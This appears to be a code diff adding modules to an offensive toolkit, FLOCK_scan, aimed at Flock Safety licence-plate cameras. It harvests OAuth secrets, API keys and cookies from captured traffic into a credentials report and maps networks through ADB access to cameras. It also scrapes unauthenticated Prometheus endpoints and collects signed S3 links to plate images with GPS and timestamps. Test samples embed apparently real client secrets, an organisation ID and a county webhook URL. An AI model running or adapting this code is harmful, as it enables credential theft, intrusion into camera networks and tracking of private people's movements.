"type": "WEBHOOK_URL",
"value": m.group(0),
"source": source,
"confidence": "MEDIUM",
})
# ── Callback URLs ──
for m in CALLBACK_URL.finditer(body):
findings.append({
"type": "CALLBACK_URL",
"value": m.group(1),
"source": source,
"confidence": "HIGH",
})
# ── Generic API keys ──
for pattern, label in API_KEY_PATTERNS:
for m in pattern.finditer(body):
# Skip short or obviously fake keys
val = m.group(1)
if len(val) < 8 or val in ("password", "password123", "admin"):
continue
findings.append({
"type": label,
"value": val,
"source": source,
"confidence": "LOW",
"context": body[max(0, m.start()-30):m.end()+30][:100],
})
return findings
def extract_creds_from_headers(headers, source="unknown"):
"""Scan HTTP response headers for credential leaks."""
findings = []
if not headers:
return findings
h = {k.lower(): v for k, v in headers.items()}
# X-API-Key
for key in ("x-api-key", "x-api-key", "api-key", "authorization"):
if key in h:
val = h[key]
if key == "authorization" and val.startswith("Bearer "):
val = val[7:]
findings.append({
"type": "HEADER_API_KEY",
"value": val,
"header": key,
"source": source,
"confidence": "MEDIUM",
})
# Set-Cookie can leak session info
if "set-cookie" in h:
cookie = h["set-cookie"]
# Check for session tokens
if "session" in cookie.lower() or "token" in cookie.lower():
findings.append({
"type": "SESSION_COOKIE",
"value": cookie[:200],
"header": "Set-Cookie",
"source": source,
"confidence": "LOW",
})
return findings
def scan_responses(responses, output_file=None):
"""
Scan a list of HTTP response data from captured traffic.
Each response: {"url": str, "body": str, "headers": dict, "source": str}
Returns deduplicated cred findings + optionally writes them to a doc.
"""
all_findings = []
seen_values = set()
for resp in responses:
findings = extract_creds(
resp.get("body", ""),
source=resp.get("source", resp.get("url", "unknown")),
headers=resp.get("headers"),
)
findings += extract_creds_from_headers(
resp.get("headers", {}),
source=resp.get("source", resp.get("url", "unknown")),
)
for f in findings:
dedup_key = f"{f['type']}:{f['value']}"
if dedup_key not in seen_values:
seen_values.add(dedup_key)
all_findings.append(f)
# Write to doc if output_file specified
if output_file and all_findings:
write_creds_report(all_findings, output_file)
return all_findings
def write_creds_report(findings, output_path):
"""Write a human-readable credentials dump to a file."""
timestamp = datetime.now().isoformat()
with open(output_path, "w") as f:
f.write("╔══════════════════════════════════════════════════════════════╗\n")
f.write("║ FLOCK_scan — Captured Credentials Report ║\n")
f.write(f"║ Generated: {timestamp} ║\n")
f.write("╚══════════════════════════════════════════════════════════════╝\n\n")
# Group by type
by_type = {}
for finding in findings:
t = finding["type"]
if t not in by_type:
by_type[t] = []
by_type[t].append(finding)
priority_order = [
"M2M_CREDENTIALS", "CLIENT_ID", "CLIENT_SECRET", "M2M_AUDIENCE",
"ORGANIZATION_UUID", "WEBHOOK_API_KEY", "WEBHOOK_URL",
"CALLBACK_URL", "HEADER_API_KEY", "SESSION_COOKIE",
"API_Key", "Generic_Secret", "Token", "Password",
]
for ptype in priority_order:
if ptype not in by_type:
continue
items = by_type[ptype]
f.write(f"\n{'─' * 70}\n")
severity = {
"M2M_CREDENTIALS": "[CRIT] CRITICAL",
"CLIENT_ID": "[HIGH] HIGH",
"CLIENT_SECRET": "[CRIT] CRITICAL",
"WEBHOOK_API_KEY": "[CRIT] CRITICAL",
"ORGANIZATION_UUID": "[MED] MEDIUM",
"CALLBACK_URL": "[MED] MEDIUM",
"HEADER_API_KEY": "[MED] MEDIUM",
"WEBHOOK_URL": "[LOW] LOW",
}.get(ptype, "[INFO] INFO")
f.write(f" {severity} {ptype} ({len(items)} found)\n")
f.write(f"{'─' * 70}\n")
for item in items:
f.write(f"\n Value: {item['value']}\n")
f.write(f" Source: {item.get('source', 'unknown')}\n")
f.write(f" Conf: {item.get('confidence', 'N/A')}\n")
ctx = item.get("context", "")
if ctx:
f.write(f" Context: {ctx[:200]}\n")
f.write("\n")
f.write(f"\n{'═' * 70}\n")
f.write(f"Total findings: {len(findings)}\n")
f.write(f"File: {output_path}\n")
return len(findings)
def format_findings_terminal(findings, color=True):
"""Format findings for terminal display."""
lines = []
if not findings:
return " No credentials found."
by_type = {}
for f in findings:
by_type.setdefault(f["type"], []).append(f)
for ptype in ["M2M_CREDENTIALS", "CLIENT_ID", "CLIENT_SECRET",
"WEBHOOK_API_KEY", "ORGANIZATION_UUID", "CALLBACK_URL",
"WEBHOOK_URL", "HEADER_API_KEY"]:
if ptype not in by_type:
continue
items = by_type[ptype]
if color:
label = {
"M2M_CREDENTIALS": "\033[91m[M2M]\033[0m",
"CLIENT_ID": "\033[93m[CLIENT_ID]\033[0m",
"CLIENT_SECRET": "\033[91m[SECRET]\033[0m",
"WEBHOOK_API_KEY": "\033[91m[WEBHOOK_KEY]\033[0m",
"ORGANIZATION_UUID": "\033[93m[ORG_ID]\033[0m",
"CALLBACK_URL": "\033[93m[CALLBACK]\033[0m",
"WEBHOOK_URL": "\033[94m[WEBHOOK]\033[0m",
"HEADER_API_KEY": "\033[93m[HEADER_KEY]\033[0m",
}.get(ptype, f"[{ptype}]")
else:
label = f"[{ptype}]"
for item in items:
lines.append(f" {label} {item['value'][:80]}")
if item.get("context"):
lines.append(f" └─ {item['source']}")
return "\n".join(lines)
# ═══════════════════════════════════════════════════════════════════
# CLI TEST
# ═══════════════════════════════════════════════════════════════════
if __name__ == "__main__":
sample = """
const config = {
client_id: "CfDcZ19oi2zyujdBmSTr1f78rE8PcpaU",
client_secret: "ml7YQ41K--MLHJn8SwEDVdUbF9Gga9NLKlf4BUvww2LlJnGYJuVS5YgMQYHMCX1L",
audience: "com.flocksafety.integrations",
organization_id: "39f42f24-393f-4a2e-bca2-0ce4cdf3fbf7",
token_endpoint: "https://api.flocksafety.com/oauth/token",
webhook_api_key: "BCSOREDFIVE-FLOCK-LPR-7f3a9e2d1c4b8056",
callback_url: "https://redfive.berkeleycountysc.gov/webhooks/flock_webhook.php"
};
"""
findings = extract_creds(sample, source="sample_config")
print("Terminal output:\n")
print(format_findings_terminal(findings))
print("\n\nWriting to creds_report.txt...")
write_creds_report(findings, "/tmp/creds_test.txt")
print(open("/tmp/creds_test.txt").read())
modules/network_map.py
+269
View File
@@ -0,0 +1,269 @@
#!/usr/bin/env python3
"""
network_map.py — Passive subnet discovery for FLOCK_scan
When we have ADB access to a Flock camera, we can map out the local
network without sending a single probe — just by reading ARP tables,
DHCP leases, mDNS responses, and connection state from the camera.
Usage:
from modules.network_map import NetworkMapper
nm = NetworkMapper(host, timeout=5)
report = nm.full_map()
"""
import socket
import re
import json
import time
from collections import defaultdict
class NetworkMapper:
"""Passive network mapper — discovers devices via ARP/mDNS/connection state."""
OUI_DB = {
"00:00:0c": "Cisco",
"00:01:5c": "3Com",
"00:05:5d": "Dell",
"00:0c:29": "VMware",
"00:15:5d": "Microsoft Hyper-V",
"00:50:56": "VMware",
"00:1a:a0": "Dell",
"00:23:ae": "Apple",
"00:25:00": "Apple",
"00:26:08": "Apple",
"08:00:27": "Oracle VirtualBox",
"08:00:69": "Apple",
"10:05:ca": "Huawei",
"10:6f:d9": "Juniper",
"14:10:9f": "HP",
"18:03:73": "Cisco",
"20:37:06": "Samsung",
"24:65:11": "Hikvision",
"28:92:4a": "Dahua",
"2c:33:11": "Ubiquiti",
"30:8c:fb": "Hikvision",
"34:08:04": "Ring",
"3c:2e:ff": "Ubiquiti",
"44:d9:e7": "Raspberry Pi",
"48:22:54": "Google Nest",
"48:e7:29": "Google",
"4c:eb:42": "Nest Labs",
"50:c7:bf": "Amazon",
"54:60:09": "Ring",
"58:8d:09": "Dahua",
"60:64:05": "Amazon",
"64:16:8e": "Pakedge",
"68:72:51": "Hikvision",
"6c:83:36": "Hikvision",
"70:b8:f6": "Axis",
"74:75:48": "Apple",
"78:8b:5c": "Axis",
"7c:dd:90": "Google",
"80:2a:a8": "Huawei",
"84:0d:8e": "Amazon",
"88:36:6c": "Google",
"8c:85:90": "Ubiquiti",
"90:38:0c": "Synology",
"90:b0:ed": "Yale",
"94:10:3e": "Samsung",
"98:01:a7": "Belkin",
"98:f0:ab": "Apple",
"a0:02:dc": "HP",
"a4:77:33": "Apple",
"a8:66:7f": "Samsung",
"a8:93:4a": "Ring",
"ac:22:0b": "TP-Link",
"b0:e1:7e": "D-Link",
"b8:27:eb": "Raspberry Pi",
"b8:a3:86": "Netgear",
"c0:25:a5": "Cisco Meraki",
"c8:3a:35": "Dell",
"cc:32:e5": "Hikvision",
"d0:52:a8": "Google",
"d4:a6:51": "D-Link",
"dc:a6:32": "Apple",
"e0:ac:cb": "Cisco",
"e4:5f:01": "Google",
"e8:48:1b": "Arlo",
"f0:9f:c2": "Apple",
"f4:f2:6d": "Cisco Meraki",
"f8:e9:03": "Red Hat KVM",
"fc:a6:cd": "Amazon",
}
def __init__(self, camera_host=None, timeout=5):
self.camera_host = camera_host
self.timeout = timeout
self._adb_func = None
self._sock_func = None
if camera_host:
from modules.adb_deep import (
get_arp_table, get_interfaces, get_gateway,
get_process_list as _get_ps,
)
self._adb_func = {
"arp": lambda: get_arp_table(camera_host, timeout),
"interfaces": lambda: get_interfaces(camera_host, timeout),
"gateway": lambda: get_gateway(camera_host, timeout),
}
def resolve_oui(self, mac):
"""Look up manufacturer by MAC OUI."""
if not mac:
return None
prefix = mac.upper()[:8]
if prefix in self.OUI_DB:
return self.OUI_DB[prefix]
# Try first 3 octets (standard OUI)
prefix6 = mac.upper()[:8]
# Some have 6-char prefixes (xx:xx:xx)
prefix6_alt = ":".join(mac.split(":")[:3]).upper()
for oui, mfr in self.OUI_DB.items():
if oui.upper() == prefix6_alt or oui.upper() == prefix6:
return mfr
return "Unknown"
def from_arp(self):
"""Build device list from ARP table (passive, zero probes)."""
if not self._adb_func:
return []
arp_entries = self._adb_func["arp"]()
devices = []
seen_ips = set()
if arp_entries:
for entry in arp_entries:
ip = entry.get("ip", "")
mac = entry.get("mac", "")
iface = entry.get("iface")
if ip in seen_ips or not ip or ip == self.camera_host:
continue
seen_ips.add(ip)
devices.append({
"ip": ip,
"mac": mac,
"oui": self.resolve_oui(mac),
"discovery": "arp",
"via_interface": iface,
"confidence": "high",
})
# Add gateway
gw = self._adb_func["gateway"]()
if gw and gw not in seen_ips and gw != self.camera_host:
devices.append({
"ip": gw,
"mac": None,
"oui": None,
"discovery": "gateway",
"via_interface": None,
"confidence": "high",
})
return devices
def from_interfaces(self):
"""Return the camera's own interface information."""
if not self._adb_func:
return []
ifaces = self._adb_func["interfaces"]()
return ifaces or []
def _probe_mdns(self, ip, timeout=2):
"""Try to mDNS resolve a hostname for an IP."""
try:
# mDNS reverse lookup
query = ".".join(reversed(ip.split("."))) + ".in-addr.arpa"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(timeout)
# Simple mDNS query for A records
name = ip.replace(".", "-") + ".local"
try:
host = socket.gethostbyaddr(ip)
return host[0]
except Exception:
return None
except Exception:
return None
def enrich_arp_devices(self, devices):
"""Add MAC vendor + reverse DNS to discovered devices."""
enriched = []
for d in devices:
ip = d.get("ip", "")
mac = d.get("mac", "")
# Try to PTR the IP
rdns = None
try:
rdns = socket.gethostbyaddr(ip)[0]
except Exception:
pass
d["reverse_dns"] = rdns
enriched.append(d)
return enriched
def full_map(self):
"""
Produce a full network map report from passive data.
Returns dict:
- camera: { ip:, interfaces:, gateway:, dns:, wifi: }
- discovered_devices: [{ ip, mac, oui, discovery, reverse_dns }]
- summary: { total, gateway, router, cameras, unknown }
"""
from modules.adb_deep import adb_deep_collect
camera_info = adb_deep_collect(self.camera_host, timeout=self.timeout) if self.camera_host else None
arp_devices = self.from_arp()
arp_devices = self.enrich_arp_devices(arp_devices)
# Count types
vendor_counts = defaultdict(int)
for d in arp_devices:
vendor_counts[d.get("oui", "Unknown")] += 1
report = {
"camera": {
"ip": self.camera_host,
"network_info": camera_info,
} if camera_info else {"ip": self.camera_host},
"discovered_devices": arp_devices,
"summary": {
"total_devices_on_subnet": len(arp_devices) + 1, # +1 for camera itself
"devices_found": len(arp_devices),
"gateway": next((d["ip"] for d in arp_devices if d.get("discovery") == "gateway"), None),
"vendor_breakdown": dict(vendor_counts),
},
}
return report
# ── CLI test ─────────────────────────────────────────────────────────
if __name__ == "__main__":
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100"
nm = NetworkMapper(target)
report = nm.full_map()
print(json.dumps(report, indent=2, default=str))
print("\n─── Summary ───")
s = report["summary"]
print(f"Camera: {target}")
print(f"Gateway: {s.get('gateway', 'unknown')}")
print(f"Devices on subnet (from ARP): {s['devices_found']}")
print(f"Vendors: {s.get('vendor_breakdown', {})}")
modules/prometheus_scraper.py
+291
View File
@@ -0,0 +1,291 @@
#!/usr/bin/env python3
"""
prometheus_scraper.py — Passive Prometheus discovery from camera traffic.
When cameras are on a network that exposes Prometheus endpoints, we can
scrape metrics without authentication. This module:
1. Checks for Prometheus on discovered gateway/subnet IPs
2. Scrapes /api/v1/targets to find ALL monitored endpoints
3. Extracts device names, job names, health status
4. Queries key metrics (up, flock_device_info, etc.)
This is 100% passive recon — we're reading what Prometheus already exposes.
"""
import json
import re
import socket
from datetime import datetime
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
HAVE_REQUESTS = True
except ImportError:
HAVE_REQUESTS = False
# ── Common Prometheus ports ──
PROMETHEUS_PORTS = [9090, 9091, 9100, 9101]
# ── Flock-specific metrics patterns ──
FLOCK_METRIC_PATTERNS = [
"flock", "camera", "device", "alpr", "lpr",
"temperature", "uptime", "disk_", "memory_",
"cpu_", "network_", "wifi_", "signal",
]
# ── Interesting metric names ──
INTERESTING_METRICS = [
"up", "flock_device_info", "flock_camera_status",
"node_uname_info", "node_load1", "node_memory_MemTotal_bytes",
"node_filesystem_size_bytes", "node_network_receive_bytes_total",
"node_time_seconds", "process_start_time_seconds",
]
def probe_prometheus(host, port=9090, timeout=5):
"""
Check if a host is running Prometheus on the given port.
Probes /api/v1/targets (common open endpoint).
Returns dict with targets + status, or None if not Prometheus.
"""
if not HAVE_REQUESTS:
return None
try:
r = requests.get(
f"http://{host}:{port}/api/v1/targets",
timeout=timeout,
headers={"User-Agent": "FLOCK_scan/3.0"},
)
if r.status_code == 200:
data = r.json()
if data.get("status") == "success":
return _parse_targets(data, host, port)
except requests.exceptions.ConnectionError:
pass
except requests.exceptions.Timeout:
pass
except Exception:
pass
# Fallback: try /metrics (older Prometheus)
try:
r = requests.get(
f"http://{host}:{port}/metrics",
timeout=timeout,
headers={"User-Agent": "FLOCK_scan/3.0"},
)
if r.status_code == 200 and b"prometheus" in r.content[:500].lower():
return {
"host": host,
"port": port,
"type": "prometheus",
"metrics_accessible": True,
"targets_api": False,
"target_count": None,
"targets": [],
"flock_targets": 0,
}
except Exception:
pass
# Grafana fallback check
try:
r = requests.get(
f"http://{host}:{port}/api/health",
timeout=timeout,
headers={"User-Agent": "FLOCK_scan/3.0"},
)
if r.status_code == 200 and "grafana" in r.text.lower():
return {
"host": host,
"port": port,
"type": "grafana",
"metrics_accessible": True,
"targets_api": False,
"target_count": None,
"targets": [],
"flock_targets": 0,
}
except Exception:
pass
return None
def _parse_targets(data, host, port):
"""Parse Prometheus /api/v1/targets response."""
result = {
"host": host,
"port": port,
"type": "prometheus",
"metrics_accessible": True,
"targets_api": True,
"target_count": 0,
"targets": [],
"flock_targets": 0,
}
active = data.get("data", {}).get("activeTargets", [])
dropped = data.get("data", {}).get("droppedTargets", [])
result["dropped_count"] = len(dropped)
for target in active:
labels = target.get("labels", {})
discovered = target.get("discoveredLabels", {})
scrape_url = target.get("scrapeUrl", "")
health = target.get("health", "unknown")
entry = {
"job": labels.get("job", ""),
"instance": labels.get("instance", ""),
"module": labels.get("module", ""),
"device": labels.get("device", ""),
"model": labels.get("model", ""),
"scrape_url": scrape_url,
"health": health,
"last_scrape": target.get("lastScrape", ""),
"scrape_duration": target.get("lastScrapeDuration", ""),
}
# Extract Flock-specific info
name_parts = " ".join(str(v) for v in entry.values()).lower()
is_flock = any(p in name_parts for p in FLOCK_METRIC_PATTERNS)
if is_flock:
result["flock_targets"] += 1
entry["flock_device"] = True
result["targets"].append(entry)
result["target_count"] = len(active)
# Try /api/v1/query for key metrics
result["metrics"] = _scrape_metrics(host, port)
return result
def _scrape_metrics(host, port, timeout=5):
"""Query specific Prometheus metrics."""
metrics = {}
for metric in INTERESTING_METRICS:
try:
r = requests.get(
f"http://{host}:{port}/api/v1/query",
params={"query": metric},
timeout=timeout,
headers={"User-Agent": "FLOCK_scan/3.0"},
)
if r.status_code == 200:
data = r.json()
if data.get("status") == "success":
results = data.get("data", {}).get("result", [])
if results:
metrics[metric] = []
for res in results:
val = res.get("value", [None, ""])
labels = res.get("metric", {})
metrics[metric].append({
"labels": labels,
"value": val[1] if len(val) > 1 else None,
})
except Exception:
pass
return metrics if metrics else None
def scan_subnet_for_prometheus(gateway=None, local_ips=None, timeout=3):
"""
Scan likely addresses for Prometheus instances.
Scans: gateway, .1, .2, .254, and any known local IPs.
Returns list of discovered Prometheus instances.
"""
targets = set()
if gateway:
targets.add(gateway)
# Scan nearby IPs
try:
parts = gateway.split(".")
for last in [1, 2, 254]:
targets.add(f"{parts[0]}.{parts[1]}.{parts[2]}.{last}")
except Exception:
pass
if local_ips:
for ip in local_ips:
targets.add(ip)
try:
parts = ip.split(".")
for last in [1, 254]:
targets.add(f"{parts[0]}.{parts[1]}.{parts[2]}.{last}")
except Exception:
pass
discovered = []
for host in targets:
for port in PROMETHEUS_PORTS:
result = probe_prometheus(host, port=port, timeout=timeout)
if result:
discovered.append(result)
break # Don't re-check same host on other ports
return discovered
def format_prometheus_findings(findings):
"""Format Prometheus findings for terminal display."""
lines = []
if not findings:
return " No Prometheus/Grafana instances found."
for f in findings:
lines.append(f"\n \033[96m{f['type'].upper()}\033[0m at {f['host']}:{f['port']}")
if f.get("target_count") is not None:
lines.append(f" Targets: {f['target_count']} ({f.get('flock_targets', 0)} Flock-related)")
if f.get("targets"):
# Show Flock-related targets
flock_targets = [t for t in f["targets"] if t.get("flock_device")]
if flock_targets:
lines.append(f" \033[91mFlock Devices in Prometheus:\033[0m")
for t in flock_targets[:10]:
lines.append(f" └─ {t['instance']:25} job={t['job']} \033[92m{t['health']}\033[0m")
if t.get("model"):
lines.append(f" model={t['model']}")
# Show key metrics
if f.get("metrics") and len(flock_targets) > 0:
lines.append(f" Metrics:")
for metric, values in f["metrics"].items():
lines.append(f" {metric}: {len(values)} results")
if f.get("dropped_count"):
lines.append(f" Dropped targets: {f['dropped_count']}")
return "\n".join(lines)
# ═══════════════════════════════════════════════════════════════════
# CLI TEST
# ═══════════════════════════════════════════════════════════════════
if __name__ == "__main__":
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1"
print(f"Probing {target} for Prometheus...")
result = probe_prometheus(target)
if result:
print(json.dumps(result, indent=2, default=str))
else:
print("No Prometheus found.")
modules/s3_url_catcher.py
+367
View File
@@ -0,0 +1,367 @@
#!/usr/bin/env python3
"""
s3_url_catcher.py — Extract signed S3 URLs from captured camera traffic.
When cameras send alert webhooks or the admin UI loads images, we can
capture signed S3 URLs from the traffic. These URLs have expiry windows
(typically 7 days for Flock alert images) and give us:
- LPR capture images (license plates)
- Camera snapshots
- Evidence of deployment locations
This module processes captured HTTP payloads (from tap mode, PCAP, or
HTTP response bodies) and extracts:
- flock-hibiki-inbox.s3.amazonaws.com URLs
- Generic S3 signed URLs
- hotspot/flocksafety.com image URLs
- Metadata: timestamp, device, organization
"""
import re
import json
from datetime import datetime
from urllib.parse import urlparse, parse_qs
# ── S3 and Flock image URL patterns ──
S3_SIGNED_URL = re.compile(
r'https?://[a-zA-Z0-9.-]*flock-hibiki-inbox[a-zA-Z0-9.-]*\.s3\.amazonaws\.com/[^"\'\s<>]+',
re.I
)
S3_GENERIC = re.compile(
r'https?://[a-zA-Z0-9._-]+\.s3\.amazonaws\.com/[^"\'\s<>]+',
re.I
)
FLOCK_IMAGE_URL = re.compile(
r'https?://[a-zA-Z0-9._-]*flocksafety\.com/[^"\'\s<>]*\.(?:jpg|jpeg|png|gif|webp)[^"\'\s<>]*',
re.I
)
FLOCK_DETAILS_URL = re.compile(
r'https?://hotlist\.flocksafety\.com/[^"\'\s<>]+',
re.I
)
# S3 URL with X-Amz-Signature = signed
SIGNED_URL_PATTERN = re.compile(
r'https?://[^"\'\s<>]+\?X-Amz-Signature=[a-f0-9]{64}[^"\'\s<>]*',
re.I
)
# Image URL from JSON payloads (like webhook bodies)
JSON_IMAGE_URL = re.compile(
r'"(?:imageUrl|image_url|url|preview|thumbnail)"\s*:\s*"(https?://[^"]+\.(?:jpg|jpeg|png))"',
re.I
)
def extract_s3_urls(data, source="unknown"):
"""
Extract all S3/flock image URLs from a text body (HTTP response,
PCAP payload, etc.).
Returns list of dicts with url, type, expiry_info, source.
"""
results = []
if not data:
return results
seen_urls = set()
# 1. Flock hibiki-inbox S3 (known camera image bucket)
for m in S3_SIGNED_URL.finditer(data):
url = m.group(0)
if url in seen_urls:
continue
seen_urls.add(url)
info = {
"url": url,
"type": "FLOCK_S3_IMAGE",
"bucket": "flock-hibiki-inbox",
"source": source,
"signed": "X-Amz-Signature" in url,
"expiry": extract_expiry(url),
}
results.append(info)
# 2. Other S3 buckets
for m in S3_GENERIC.finditer(data):
url = m.group(0)
if url in seen_urls:
continue
seen_urls.add(url)
bucket = urlparse(url).hostname.split(".")[0] if urlparse(url).hostname else "unknown"
info = {
"url": url,
"type": "S3_GENERIC",
"bucket": bucket,
"source": source,
"signed": "X-Amz-Signature" in url,
"expiry": extract_expiry(url),
}
results.append(info)
# 3. Signed URLs (non-S3 but with X-Amz-Signature)
for m in SIGNED_URL_PATTERN.finditer(data):
url = m.group(0)
if url in seen_urls:
continue
seen_urls.add(url)
info = {
"url": url,
"type": "SIGNED_URL",
"bucket": urlparse(url).hostname if urlparse(url).hostname else "unknown",
"source": source,
"signed": True,
"expiry": extract_expiry(url),
}
results.append(info)
# 4. Flock hotlist/capture URLs
for m in FLOCK_IMAGE_URL.finditer(data):
url = m.group(0)
if url in seen_urls:
continue
seen_urls.add(url)
info = {
"url": url,
"type": "FLOCK_HOTLIST_IMAGE",
"source": source,
"signed": False,
}
results.append(info)
return results
def extract_expiry(url):
"""Extract X-Amz-Expires or Expires parameter from a signed URL."""
try:
parsed = urlparse(url)
params = parse_qs(parsed.query)
if "X-Amz-Expires" in params:
expires_seconds = int(params["X-Amz-Expires"][0])
return f"{expires_seconds}s ({expires_seconds//3600}h)"
if "Expires" in params:
return params["Expires"][0]
# Check for ISO expiry in URL
m = re.search(r'imageExpiration["\']\s*:\s*["\']([^"\']+)["\']', url)
if m:
return m.group(1)
except Exception:
pass
return None
def extract_from_webhook_payload(body, source="unknown"):
"""
Parse a Flock webhook JSON payload for image URLs and metadata.
Returns structured data with device info and S3 URLs.
"""
results = []
try:
payload = json.loads(body) if isinstance(body, str) else body
except json.JSONDecodeError:
return results
if not isinstance(payload, dict):
return results
# Extract image URL
image_url = payload.get("imageUrl")
if image_url:
results.append({
"url": image_url,
"type": "WEBHOOK_IMAGE",
"source": source,
"signed": "X-Amz-Signature" in image_url,
"expiry": payload.get("imageExpiration"),
"metadata": {
"device_name": payload.get("deviceName"),
"device_id": payload.get("deviceExternalId"),
"plate": payload.get("ocr", {}).get("label"),
"state": payload.get("ocr", {}).get("state"),
"timestamp": payload.get("eventTime"),
"latitude": payload.get("deviceLat"),
"longitude": payload.get("deviceLong"),
"network": payload.get("networkName"),
"details_url": payload.get("detailsUrl"),
},
})
# Details URL
details = payload.get("detailsUrl")
if details:
results.append({
"url": details,
"type": "WEBHOOK_DETAILS",
"source": source,
"metadata": {"plate": payload.get("ocr", {}).get("label")},
})
return results
def scan_traffic_for_s3(http_responses=None, pcap_payloads=None, output_file=None):
"""
Scan captured HTTP responses and raw PCAP payloads for S3 URLs.
http_responses: list of {url, body, headers, source}
pcap_payloads: list of raw strings from traffic tap
Returns deduplicated S3 findings.
"""
all_urls = []
seen = set()
if http_responses:
for resp in http_responses:
body = resp.get("body", "")
source = resp.get("source", resp.get("url", "unknown"))
# Extract from body
for url_info in extract_s3_urls(body, source=source):
key = url_info["url"]
if key not in seen:
seen.add(key)
all_urls.append(url_info)
# Try webhook JSON parsing
for wh_info in extract_from_webhook_payload(body, source=source):
key = wh_info["url"]
if key not in seen:
seen.add(key)
all_urls.append(wh_info)
if pcap_payloads:
for payload in pcap_payloads:
if isinstance(payload, str):
source_data = "pcap_raw"
for url_info in extract_s3_urls(payload, source=source_data):
key = url_info["url"]
if key not in seen:
seen.add(key)
all_urls.append(url_info)
# Write to output file
if output_file and all_urls:
write_s3_report(all_urls, output_file)
return all_urls
def write_s3_report(urls, output_path):
"""Write S3 URL findings to a file."""
timestamp = datetime.now().isoformat()
with open(output_path, "w") as f:
f.write("╔══════════════════════════════════════════════════════════════╗\n")
f.write("║ FLOCK_scan — Captured S3 Image URLs ║\n")
f.write(f"║ Generated: {timestamp} ║\n")
f.write("╚══════════════════════════════════════════════════════════════╝\n\n")
if not urls:
f.write("No S3 URLs found.\n")
return 0
f.write(f"Total unique URLs: {len(urls)}\n\n")
# Group by type
for url_info in urls:
f.write(f"{'─' * 70}\n")
f.write(f" {url_info['type']}\n")
f.write(f" URL: {url_info['url']}\n")
if url_info.get("expiry"):
f.write(f" Exp: {url_info['expiry']}\n")
if url_info.get("bucket"):
f.write(f" Buck: {url_info['bucket']}\n")
if url_info.get("source"):
f.write(f" From: {url_info['source']}\n")
meta = url_info.get("metadata")
if meta:
plate = meta.get("plate")
if plate:
f.write(f" Plate: {plate}\n")
dev = meta.get("device_name")
if dev:
f.write(f" Cam: {dev}\n")
loc = meta.get("latitude")
if loc:
f.write(f" GPS: {loc}, {meta.get('longitude')}\n")
ts = meta.get("timestamp")
if ts:
f.write(f" Time: {ts}\n")
f.write("\n")
f.write(f"{'═' * 70}\n")
f.write(f"Total: {len(urls)} S3 URLs captured\n")
return len(urls)
def format_s3_findings_terminal(urls):
"""Format S3 URL findings for terminal display."""
lines = []
if not urls:
return " No S3 URLs captured."
lines.append(f" \033[93m{len(urls)} S3/image URLs captured:\033[0m")
for u in urls[:15]: # Show max 15
url_short = u["url"][:100]
expiry = u.get("expiry", "")
plate = u.get("metadata", {}).get("plate", "")
icon = "\033[91m[S3_IMG]\033[0m" if u["type"] == "WEBHOOK_IMAGE" else "\033[94m[URL]\033[0m"
line = f" {icon} {url_short}"
if expiry:
line += f" \033[90m(exp: {expiry})\033[0m"
if plate:
line += f" \033[93m[{plate}]\033[0m"
lines.append(line)
if len(urls) > 15:
lines.append(f" \033[90m... and {len(urls) - 15} more\033[0m")
return "\n".join(lines)
# ═══════════════════════════════════════════════════════════════════
# CLI TEST
# ═══════════════════════════════════════════════════════════════════
if __name__ == "__main__":
sample_webhook = json.dumps({
"deviceLat": 33.045,
"deviceLong": -80.106,
"deviceName": "LR#007 College Park Rd @ N Main St NB",
"deviceExternalId": "949692b4-3110-413e-a93c-52fbc5a9885a",
"imageUrl": "https://flock-hibiki-inbox.s3.us-east-1.amazonaws.com/policy/ORG/raw/CAPTURE.jpg?X-Amz-Signature=abc123&X-Amz-Expires=604800",
"imageExpiration": "2025-03-19T14:59:16Z",
"detailsUrl": "https://hotlist.flocksafety.com/img/tar-TOKEN",
"ocr": {"label": "ABC123", "state": "south_carolina"},
"eventTime": "2025-03-12T14:59:05.000Z",
})
urls = scan_traffic_for_s3(
http_responses=[{"body": sample_webhook, "source": "webhook_test"}]
)
print(format_s3_findings_terminal(urls))
modules/telemetry.py
+279
View File
@@ -0,0 +1,279 @@
#!/usr/bin/env python3
"""
telemetry.py — Analytics / third-party service detection for FLOCK_scan
Scrapes the admin web UI body for:
- Google Analytics (UA-XXXXX-X, G-XXXXXXX)
- Google Tag Manager (GTM-XXXXXXX)
- Hotjar / FullStory / LuckyOrange (session replay)
- Segment / Amplitude / Mixpanel (product analytics)
- Sentry / Datadog / NewRelic (error monitoring)
- Facebook / Meta Pixel
- Microsoft Clarity
- HubSpot tracking
- LinkedIn Insight Tag
- Twitter / X Pixel
- TikTok Pixel
- Reddit Pixel
- Pinterest Tag
- Plausible / Fathom / Umami (privacy analytics)
- Stripe (payment presence)
Usage:
from modules.telemetry import extract_telemetry, extract_all
telemetry = extract_telemetry(body_text)
"""
import re
import json
# ── Regex patterns ──────────────────────────────────────────────────
PATTERNS = {
# Google
"ga_ids": re.compile(r'(?:UA-\d{5,}-\d{1,2}|G-[A-Z0-9]{10,12})'),
"gtm_ids": re.compile(r'GTM-[A-Z0-9]{6,8}'),
"ga4_ids": re.compile(r'G-[A-Z0-9]{10,12}'),
"ads_ids": re.compile(r'AW-\d{9,12}'),
"floodlight_ids": re.compile(r'DC-\d{6,10}'),
# Session recording / heatmaps
"has_hotjar": re.compile(r'hotjar', re.I),
"has_fullstory": re.compile(r'fullstory', re.I),
"has_luckyorange": re.compile(r'luckyorange|_lto', re.I),
"has_smartlook": re.compile(r'smartlook', re.I),
"has_mouseflow": re.compile(r'mouseflow', re.I),
"has_crazyegg": re.compile(r'crazyegg', re.I),
# Product analytics
"has_segment": re.compile(r'segment\.(com|io)|analytics\.js|window\.analytics', re.I),
"has_amplitude": re.compile(r'amplitude\.com|amplitude\.init|api2\.amplitude', re.I),
"has_mixpanel": re.compile(r'mixpanel\.com|mixpanel\.init', re.I),
"has_heap": re.compile(r'heap\.app|heapanalytics', re.I),
"has_posthog": re.compile(r'posthog\.com|ph\.capture', re.I),
# Error monitoring
"has_sentry": re.compile(r'sentry[-.]cdn\.com|@sentry/|sentryDsn|sentry\.io|Sentry\.init', re.I),
"has_datadog": re.compile(r'datadog|dd_RUM|@datadog', re.I),
"has_newrelic": re.compile(r'newrelic|NREUM', re.I),
